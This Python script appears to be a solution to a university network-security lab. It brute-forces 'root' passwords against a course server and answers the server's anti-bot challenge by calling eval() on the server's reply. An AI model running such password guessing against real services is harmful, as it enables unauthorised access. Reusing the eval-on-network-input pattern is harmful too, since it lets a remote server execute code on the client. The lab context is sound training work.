import socket
import time
# Fill in the right target here
HOST = 'netsec.net.in.tum.de'  # TODO
PORT = 64984  # TODO



def get_flag2():
    credentials  = "root,Passwordr00"
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((HOST, PORT))
    sf = s.makefile('rw')  # we use a file abstraction for the sockets
    print(sf.readline().rstrip('\n'))
    sf.write("{}\n".format(credentials))
    sf.flush()
    data  = sf.readline().rstrip('\n')
    resp = eval(data)
    sf.write("{}\n".format(resp))
    sf.flush()
    print(sf.readline().rstrip('\n'))
    print(sf.readline().rstrip('\n'))

def get_flag():
    for i in range(100):
        time.sleep(2)
        credentials  = "root,Passwordr"+str("%02d" % i)
        print(credentials)
        try:
            s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            s.connect((HOST, PORT))
            sf = s.makefile('rw')  # we use a file abstraction for the sockets
            print(sf.readline().rstrip('\n'))
            sf.write("{}\n".format(credentials))
            sf.flush()
            data  = sf.readline().rstrip('\n')
            resp = eval(data)
            sf.write("{}\n".format(resp))
            sf.flush()
            print(sf.readline().rstrip('\n'))
            print(sf.readline().rstrip('\n'))
        except:
            pass
            


# def ans():
#     for i in range(100):
#         credentials = 'root'+','+'Password'+str("%02d" % i)
#         print(credentials)
#         try:
#             s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

#             s.connect((HOST, PORT))
#             sf = s.makefile("rw")  # we use a file abstraction for the sockets

#             sf.write("{}\n".format(credentials))
#             sf.flush()

#             challenge = sf.readline().rstrip('\n')

#             print("Solve the following equation to prove you are human: ", challenge)

#             inToPosEx = infix_to_postfix(challenge)
#             value = postfixEval(inToPosEx)

#             print('VALUE = ',value)
#             sf.write("{}\n".format(str(value)))
#             sf.flush()

#             data = sf.readline().rstrip('\n')
#             print("From Server: `{}'".format(data))

#             data = sf.readline().rstrip('\n')
#             print("From Server: received {} bytes".format(len(data)))

#             data = b64decode(data.encode())

#             pdf_hdr = b'%PDF-1.5'

#             if len(data) >= len(pdf_hdr) and data[:len(pdf_hdr)] == pdf_hdr:
#                 print("Looks like we got a PDF!")
#                 # TODO write the received data to a file
#                 f = open('a.pdf','wb')
#                 f.write(data)
#                 f.close()
#             sf.close()
#             s.close()
#         except:
            pass

if __name__ == '__main__':
    get_flag()